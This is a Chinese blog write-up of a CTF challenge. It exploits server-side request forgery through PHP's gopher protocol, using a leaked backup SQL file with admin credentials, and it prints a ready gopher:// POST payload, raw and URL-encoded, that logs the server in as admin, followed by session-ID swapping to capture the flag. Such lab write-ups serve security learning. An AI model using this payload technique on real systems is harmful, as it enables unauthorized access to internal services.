php禁用gopher协议,SSRF攻击-运用gopher协议构造POST包--emmmm(http://10.112.68.215:10004/index.php?action=login)...

还是天枢的一道CTF题,启程!

分析题目,自己注册账户并登陆后,提示输入一个url,网站会自己运行查找网页信息。

5587a694aebc14ef0fd5ef659866df84.png

3669686

emmmmm,很挑衅,网站就当作服务器,我们在url框中输入一个伪造的执行代码,让他运行获取到机密信息,哼哼。这就是SSRF(服务端请求伪造),伪造的代码留给服务端自己执行并返回我们需要的机密信息。

在里面乱输入了一些东西,没有任何反馈。此时,我们就要扫描网站啊。

1.扫描网站+分析robots.txt

使用御剑扫描网站。眼尖得很,看到了“robots.txt”文件。

robots.txt是一个纯文本文件,它会告诉引擎搜索器哪些资源能搜索,哪些不能。语法如下:

User-agent: * 星号说明允许所有搜索引擎收录

Disallow: index.php? 表示不允许收录以index.php?为前缀的链接,比如index.php?a=12

Disallow: /tmp/ 表示不允许收录tmp目录及其里面的文件,如/tmp/1.html

来,愉快地查看robots.txt。如下图所示

6d68b4066865da447d5d258dc635fc04.png

3669686

嗯呢,不让搜索这俩东西,那就看这俩里面有啥好东西。

2.分析隐藏文件/backup/*和phpinfo.php

在backup/里面看到一个sql文件,emmmmmmmm,或许存储了有关用户的信息。打开看看。

e200fd7ec233e6b68c336a5319cd688e.png

3669686

看到了,用户名和密码。yeeah

d1160c1536b89874fe08ac4f90b58f89.png

3669686

尝试登陆。有了提示信息,限制了登录的IP和端口。

3669686

f5526d33897aae00bbf5f542aa3d6978.png

回想到前面的url框,可以在用已注册用户登录后,在url框中输入伪造的网页登录信息,从而成功用admin用户登录。

第二个隐藏文件phpinfo.php一定隐藏了什么重要的东西。看看

9490b4b9f93cd32447474e49107264ac.png

3669686

gopher扩展件是启动着的。它是什么?

Gopher是Internet上一个很有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便用户获取。Gopher协议使得Internet上的所有Gopher客户程序能够与已注册的Gopher服务器对话。

它的使用格式是 gopher://URL。

在SSRF中经常会使用Gopher来构造POST包攻击应用。

3.使用Gopher协议构造POST包

Gopher协议没有默认端口,需要制定POST方法,回车换行使用%0d%0a,参数之间的分隔符也用URL编码,其他与HTTP协议类似。

本题中,先根据HTTP协议,构造的结果表示按照要求登录admin用户,如下:

gopher://127.0.0.1:80/_POST /index.php?action=login HTTP/1.1

Host:127.0.0.1:1000

Cookie:PHPSESSID=1f546328759632456215236845122365;

Connection:close

Content-Type:application/x-www-form-urlencoded

Content-Length:null

Transfer-Encoding:chunked

username=admin&password=bupt666

其中,必须要有Content-Type,它有两种值:“ application/x-

www-form-urlencoded”和“ multipart/form-data”,它主要用于传输参数。如果没有它,参数就不能正常传输。

这里phpsessid模仿访问此网站获得的phpsessid随机制作一个即可。例如,此处随机访问网站,

ea1d9c2d549bb7d4454a979e495a2fdf.png

3669686

获取到的phpsessid是8ef96c599289cae82a714af4afafc793,模仿写出一个数位一样的当做phpsessid,可以是1f546328759632456215236845122365。

经过多次URL编码的结果为:

gopher://127.0.0.1:80/_POST%20%2findex.php%253Faction%3Dlogin%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A1000%250d%250aCookie%3A%20PHPSESSID%3D1f546328759632456215236845122365%3B%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%2031%250d%250a%250d%250ausername%3Dadmin%26password%3Dbupt666

此处有些地方经过了多次URL编码,我实在看不出来奥妙,这是个问题,估计要很深的功底才能办到。

4.利用POST包登录admin账户获取flag

此处的逻辑是,首先使用已注册普通用户登录,在【URL】框中输入POST包,此时POST包中的phpsessid成为admin用户的phpsessid,里面储存了admin用户的所有登录信息。根据题目本身可知,在登陆界面因为IP和端口的限制不能直接登录admin用户,所以先登录普通用户,拦截普通用户的一个请求包,将它的phpsessid修改为admin用户的phpsessid,这样就绕过了登录时的拦截,将普通用户替换为admin用户登录,成功获得flag。

9afab72e0d3e5b3cd0e6425f122786cc.png

3669686

点击【Forward】,又返回信息,说明跳转页面成功,admin账户成功登录了,那个phpsessid已经成为admin用户的唯一标识。如下图所示

c379c15fb29104deee32a489a29ebc77.png

3669686

之后随便登录一个已注册用户,将admin用户的唯一标识phpsessid输入进去,即可获得flag。如下图所示、

9276fbf5b3c2dd5037d124ace7fc3921.png

3669686

点击【Forward】,获得flag。

3669686

9045d69ae64a8ae2e2294cc10b12c5a0.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值